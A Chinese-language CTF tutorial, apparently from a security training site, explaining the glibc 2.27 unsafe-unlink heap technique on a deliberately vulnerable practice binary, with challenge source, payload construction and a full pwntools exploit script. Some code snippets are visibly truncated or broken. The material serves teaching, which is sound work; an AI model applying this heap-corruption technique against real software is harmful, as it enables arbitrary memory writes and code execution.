原创稿件征集
邮箱:edu@antvsion.com
QQ:3200599554
黑客与极客相关,互联网安全领域里
的热点话题
漏洞、技术相关的调查或分析
稿件通过并发布还能收获
200-800元不等的稿酬
漏洞简介
glibc库中存在着unsafe unlink漏洞。主要原理是利用释放块时存在的安全检查缺陷,通过修改堆块的元数据信息,从而在free时修改堆指针。利用这一漏洞可以完成一次任意写操作。
本文以libc-2.27.so为例,结合一道pwn题目来介绍利用过程。
程序checksec检查
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
题目源码分析
int main()
{
int choice = 0;
prepare();
while(1) {
choose_action(&choice);
switch (choice) {
case 1:
squeeze();
break;
case 2:
wash();
break;
case 3:
display();
break;
case 4:
mix();
break;
case 5:
insepct();
break;
default:
puts("Nah... You just cannot do this :( ");
exit(0);
}
}
return 0;
}
主函数是菜单,choose_action只是简单读入整数以进行选择,此处不再赘述。
void squeeze()
{
int i;
struct palette* tmp;
for(i = 0; i < COLOR_NUM; i++) {
if (!your_palette[i]) {
puts("Found some free space for you!");
break;
}
}
if (i == COLOR_NUM) {
puts("Your palette is full :(");
exit(0);
}
tmp = malloc(sizeof(struct palette));
if (!tmp) {
puts("Sorry but something wrong with your palette :(");
exit(0);
}
puts("Now you are squeezing some pigment into the palette...");
puts("Please name youe color:");
make_component(tmp->color, COLOR_NAME);
puts("Please add some ingredients:");
make_component(tmp->ingredient, COLOR_COMPONENT);
printf("Finished! You've squeezed something into %d slot",i);
your_palette[i] = tmp;
}
squeeze函数用于申请新的块,并调用自定义make_component函数读入用户输入。其中your_palette及相关变量定义如下:
#define COLOR_NUM (4)
#define COLOR_NAME (0x20)
#define COLOR_COMPONENT (0x4d8)
struct palette {
char color[COLOR_NAME];
char ingredient[COLOR_COMPONENT];
}*your_palette[COLOR_NUM];
long secret_button = 0;
make_component函数定义如下。该函数根据传入的长度,逐字节读入用户输入,检测到换行符或是达到最大长度后即把最后一个字符改为’\0’。
void make_component(char* ptr, int len)
{
if (0 == len) {
return;
}
char c;
int i = 0;
while ( i < len ) {
read(0, &c, 1);
if ( c == '\n' ) {
ptr[i] = 0;
return;
}
ptr[i++] = c;
}
ptr[i] = 0;
}
乍看之下没有什么问题,但是当读入的数据达到最大长度后会将ptr[len]处的数据修改为0,而这一地址属于理想的修改范围之外,因此产生off-by-null的漏洞。
void mix()
{
int index;
puts("Now input the color index:");
scanf("%d", &index);
index--;
if (0 color, COLOR_NAME);
puts("Please add some ingredients:");
make_component(ddl_ptr->ingredient, COLOR_COMPONENT);
puts("Finished!");
return;
} else {
puts("Maybe you are willing to mix some color...");
puts("But you should squeeze first!");
exit(0);
}
} else {
puts("Your palette is not as large as you imagine...");
exit(0);
}
}
mix函数用于修改已经申请好的chunk,可以重新设置某一个palette的color段以及ingredient段。
void wash()
{
int index;
puts("Now input the color index:");
scanf("%d", &index);
index--;
if (0 fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (chunksize_nomask (P)) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr ("corrupted double-linked list (not small)"); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
unlink是在释放某一块时调用的“函数”,本意是将空闲块进行合并形成双向链表,提高空间利用率,但是在安全检查方面存在一些漏洞。在利用过程中,需要绕过两处安全检查(标红和标蓝处)。简单来说,unlink的核心是检查当前块是否是合法的空闲块。其中参数P表示当前检查的、准备合并的“空闲”块。
标红处用于检查P的大小是否和下一块的prev_size段相等(即检查此块的B区域表示的大小和下一块的A区域的值是否相等)。
标蓝处用于检查P的前向块的后向块与P的后向块的前向块是否都指向P自己。
当两处检查均通过时,堆管理器会执行FD->bk = BK与BK->fd = FD,从而将P加入到双向链表中。因此,本题的核心在于如何绕过这两处检查。
漏洞利用
利用思路大致如下:
1、申请3个块(姑且称之为chunkA、chunkB、chunkC)。
2、修改chunkA,在其中精巧地布置出一个chunkD。
3、释放chunkB,并让堆管理器unlink chunkD。
4、修改chunkA,写入任意地址。
5、修改chunkA,实现任意地址写。
ADD, FREE, SET, INSPECT = '1', '2', '4', '5'
def operate(op, arg1='A', arg2='A', arg3='A'):
global io
io.recvuntil('e:\n')
io.sendline(op)
if op == '1':
# squeeze()
io.recvuntil('color:\n')
if len(arg1) < 32:
io.sendline(arg1)
else:
io.send(arg1)
io.recvuntil('ingredients:\n')
if len(arg2) < 1240:
io.sendline(arg2)
else:
io.send(arg2)
elif op == '2'
# wash()
io.recvuntil('color index:\n')
io.sendline(str(arg1))
elif op == '4':
# mix()
io.recvuntil('color index:\n')
io.sendline(str(arg1))
io.recvuntil('color:\n')
if len(arg2) < 32:
io.sendline(arg2)
else:
io.send(arg2)
io.recvuntil('ingredients:\n')
if len(arg3) < 1240:
io.sendline(arg3)
else:
io.send(arg3)
elif op == '5':
# inspect()
pass
首先定义一个operate函数,用于处理各类请求信息,将squeeze、wash、mix重命名为经典的ADD、FREE、SET。接下来逐步进行利用:
1、申请3个块(姑且称之为chunkA、chunkB、chunkC)。
operate(ADD) #chunkA
operate(ADD) #chunkB
operate(ADD) #chunkC
使用gdb查看内存情况:
之所以使用3个chunk,是为了防止free chunkB的时候其与top chunk合并。
然后以chunkA为例,查看它的内容:
可见该chunk大小为0x500、前一个chunk处于使用中。(之后的截图为多次运行程序所截,由于开启了ASLR,所以堆的地址会发生改变,但内容是一致的,不影响阅读)
2、修改chunkA,在其中精巧地布置出一个chunkD。
chunkD是在chunkA内由用户的输入构造出的特殊的fake chunk,我们希望unlink把这个块视作一个合法的空闲块。因此首先需要绕过unlink对chunk_size的检查。这里需要注意,用户申请的chunkA指向chunkA的data段,我们可以将这里当做chunkD的元数据区进行填充。由于chunkA->color大小为32字节,那么对应了chunkD的A、B、C、D区域(前文所述)。如何填充这四个区域呢?
首先关注B区域。由于chunkD是chunkA内的一块,且其元数据区的地址在chunkA的数据区,所以它的大小应该是chunkA-16,即0x500-0x10=0x4f0。为了防止chunkA也被unlink掉,这里将前一块标记为使用中,所以B区域填充0x4f1。那么A区域是属于chunkA的,可以填充任意值,此处填0。
C、D区域是chunkD的fd、bk指针,是漏洞利用的关键。这里注意到unlink的第二道检查就是检查这里的fd->bk和bk->fd是否都等于chunkD的元数据区地址。这里的关键是chunkD的元数据区地址恰好等于chunkA的数据区地址,而chunkA的数据区地址正好是malloc chunkA时获得的,其保存在全局变量your_palette[0]中。
由于程序没有开启PIE,所以可以通过objdump直接获取全局变量的地址。
这里就利用了unlink中的一个漏洞:它默认fd和bk都指向了合法的chunk地址,所以fd->bk和bk->fd只是简单地将fd、bk视作一个chunk,然后取偏移量24字节和16字节,并将其视为合法的bk和fd。而如果fd、bk是用户可控的,那么只需要将fd设置为your_palette地址-24、将bk设置为your_palette地址-16,那么fd->bk和bk->fd都会指向your_palette[0],即为chunkA的data段,即为chunkD的元数据地址,从而实现了绕过检查。此时0x1160670为chunkD的元数据地址,chunkD的fd、bk被设置为0x6020c0-24=0x6020a8与0x6020c-16=0x6020b0。
接下来需要填充chunkD的ingredient区域。这里需要注意的是要在空间复用区(即chunkB的A区域)填充padding与chunkD的大小。这里需要完全填充ingredient区域,以触发前文提到过的off-by-null漏洞,从而将chunkB的PREV_INUSE位置0,使得chunkD被视作空闲块。
可见0x1160b68处的0x501被修改为0x500,且其prev_size段被设置为0x4f0。
palette_addr = 0x6020c0
secret_button_addr = 0x6020a0
payload1 = p64(0) + p64(0x4f1) + p64(palette_addr - 24) + p64(palette_addr - 16)
payload2 = b'\x00' * 0x4d0 + p64(0x4f0)
operate(SET, 1, payload1, payload2)
3、释放chunkB,并让堆管理器unlink chunkD。
释放掉chunkB后,查看your_palette内容,可见your_palette[0]被设置为0x6020a8,这是因为unlink成功,执行了BK->fd = FD。这里注意到,chunkA仍然是一个使用中的chunk,但它指向了全局数据区。那么此后调用mix时,将向此处写入新的数据。这里需要注意到,写入的第24-32字节会重新覆盖your_palette[0],也就是说可以再次指向另一个地址,而这个地址就是用户任意写入的了。
operate(FREE,2)
4、修改chunkA,写入任意地址。
这里直接写入secret_button的地址,并调用mix函数。
payload = b'\x00' * 24 + p64(secret_button_addr)
operate(SET, 1, payload)
5、修改chunkA,实现任意地址写。
secret_button只需非0即可,这里写入1。
operate(SET, 1, p64(1))
最后简单调用inspect即可getshell。
完整exp代码
from pwn import *
binary_file = './a.out'
io = process(binary_file, env={'LD_PRELOAD': './libc-2.27.so'})
lib = ELF('./libc-2.27.so')
proc = ELF(binary_file)
palette_addr = 0x6020c0
secret_button_addr = 0x6020a0
button = 1
ADD, FREE, SET, INSPECT = '1', '2', '4', '5'
def operate(op, arg1='A', arg2='A', arg3='A'):
global io
io.recvuntil('e:\n')
io.sendline(op)
if op == '1':
# squeeze()
io.recvuntil('color:\n')
if len(arg1) < 32:
io.sendline(arg1)
else:
io.send(arg1)
io.recvuntil('ingredients:\n')
if len(arg2) < 1240:
io.sendline(arg2)
else:
io.send(arg2)
elif op == '2':
# wash()
io.recvuntil('color index:\n')
io.sendline(str(arg1))
elif op == '4':
# mix()
io.recvuntil('color index:\n')
io.sendline(str(arg1))
io.recvuntil('color:\n')
if len(arg2) < 32:
io.sendline(arg2)
else:
io.send(arg2)
io.recvuntil('ingredients:\n')
if len(arg3) < 1240:
io.sendline(arg3)
else:
io.send(arg3)
elif op == '5':
# inspect()
pass
# prepare 3 chunks
operate(ADD)
operate(ADD)
operate(ADD
# setup chunkD in chunkA
payload1 = p64(0) + p64(0x4f1) + p64(palette_addr - 24) + p64(palette_addr - 16)
payload2 = b'\x00' * 0x4d0 + p64(0x4f0)
operate(SET, 1, payload1, payload2)
# free chunkB and unsafely unlink
operate(FREE, 2)
# fabricate data
payload = b'\x00' * 24 + p64(secret_button_addr)
operate(SET, 1, payload)
operate(SET, 1, p64(1))
# arbitrary write
operate(INSPECT)
io.interactive()
说明
编译源程序:gcc unsafe_unlink.c -no-pie
相关实验:利用溢出改写地址https://www.hetianlab.com/expc.do?ec=ECIDc271-da53-4bd3-9b61-d59c3b9d3407&pk_campaign=weixin-wemedia#stu本节课主要讲解objdump命令的使用和c语言函数调用约定,学会利用栈溢出漏洞改写函数指针变量和覆盖返回地址。
文末福利
戳“阅读原文”免费领取畅学会员!